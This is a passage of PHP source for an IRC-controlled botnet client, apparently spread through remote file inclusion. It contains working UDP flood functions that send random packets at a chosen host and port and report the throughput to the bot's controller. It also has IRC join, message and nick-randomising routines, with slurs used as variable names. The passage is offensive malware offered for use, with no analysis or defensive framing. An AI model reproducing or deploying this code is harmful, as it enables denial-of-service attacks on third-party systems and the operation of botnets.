| $fag = "$part1$red 3 Player DDoS CompletE! $part2 - $blue $stoner, $allalone, and $daynnite are now offline offline! ".$red." $vel MegaBytes/Second";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| | |
| function udpflood( $host, $packetsize, $time )
| |
| {
| |
| $udpmsg = $this->messages['udpmsg'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $this->privmsg( $this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fclose($fp);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function udpflood4( $host, $packetsize, $time, $port )
| |
| {
| |
| $udpmsg = $this->messages['udpmsg'];
| |
| $leetprefixwhite = $this->config['leetprefixwhite'];
| |
| $leetsuffixwhite = $this->config['leetsuffixwhite'];
| |
| $red = $this->config['yellow'];
| |
| $blue = $this->config['yellow'];
| |
| $this->privmsg( $this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite$red On port $leetprefixwhite$red $port $leetsuffixwhite" );
| |
| $packet = "";
| |
| for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
| |
| $timei = time();
| |
| $i = 0;
| |
| while(time()-$timei < $time)
| |
| {
| |
| $fp=fsockopen("udp://".$host,$port,$e,$s,5);
| |
| fwrite($fp,$packet);
| |
| fclose($fp);
| |
| $i++;
| |
| }
| |
| $env = $i * $packetsize;
| |
| $env = $env / 1048576;
| |
| $vel = $env / $time;
| |
| $vel = round($vel);
| |
| $env = round($env);
| |
| $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite On Port $leetprefixwhite$red $port $leetsuffixwhite";
| |
| $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
| |
| $this->ex('echo 1 >> cache.dat');
| |
| }
| |
| | |
| function send($msg)
| |
| {
| |
| fwrite($this->conn,"$msg\r\n");
| |
| }
| |
| | |
| function join($chan,$key=NULL)
| |
| {
| |
| $this->send("JOIN $chan $key");
| |
| }
| |
| | |
| function privmsg($to,$msg)
| |
| {
| |
| $this->send("PRIVMSG $to :$msg");
| |
| }
| |
| | |
| function notice($to,$msg)
| |
| {
| |
| $this->send("NOTICE $to :$msg");
| |
| }
| |
| | |
| function set_nick()
| |
| {
| |
| $prefix .= "[RFI|";
| |
| $random_number = "";
| |
| for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
| |
| {
| |
| $random_number .= mt_rand( 0, 9 );
| |
| }
| |
| | |
| $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
| |
| $this->send("NICK ".$this->nick);
| |
| }
| |
| function busk_nick()
| |
| {
| |
| $prefix .= "[RooT|LinuX|";
| |
| $random_number = "";
| |
| for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
| |
| {
| |
| $random_number .= mt_rand( 0, 9 );
| |
| }
| |
| | |
| $this->nick = sprintf( $prefix.$this->config[ 'nickform2' ], $random_number );
| |
| $this->send("NICK ".$this->nick);
| |
| }
| |
| function nzm_nick()
| |
| {
| |
| $prefix .= "[USA|";
| |
| $random_number = "";
| |
| for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
| |
| {
| |
| $random_number .= mt_rand( 0, 9 );
| |
| }
| |
| $ffffu = "$this->config[ 'prfix' ]";
| |
| $this->nick = sprintf( $prefix.$this->config['prfix'], $random_number );
| |
| $this->send("NICK ".$this->nick);
| |
| }
| |
| | |
| function parse_url_s( $url )
| |
| {
| |
| $URLpcs = ( parse_url( $url ) );
| |
| $PathPcs = explode( "/", $URLpcs['path'] );
| |
| $URLpcs['file'] = end( $PathPcs );
| |
| unset( $PathPcs[ key( $PathPcs ) ] );
| |
| $URLpcs['dir'] = implode("/",$PathPcs);
| |
| | |
| $fileext = explode( '.', $URLpcs['file'] );
| |
| | |
| if(count($fileext))
| |
| {
| |
| $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
| |
| }
| |
| | |
| return ($URLpcs);
| |
| }
| |
| }
| |
| | |
| $bot = new Mike_Unix;
| |
| $bot->start();
| |
| | |
| ?>
| |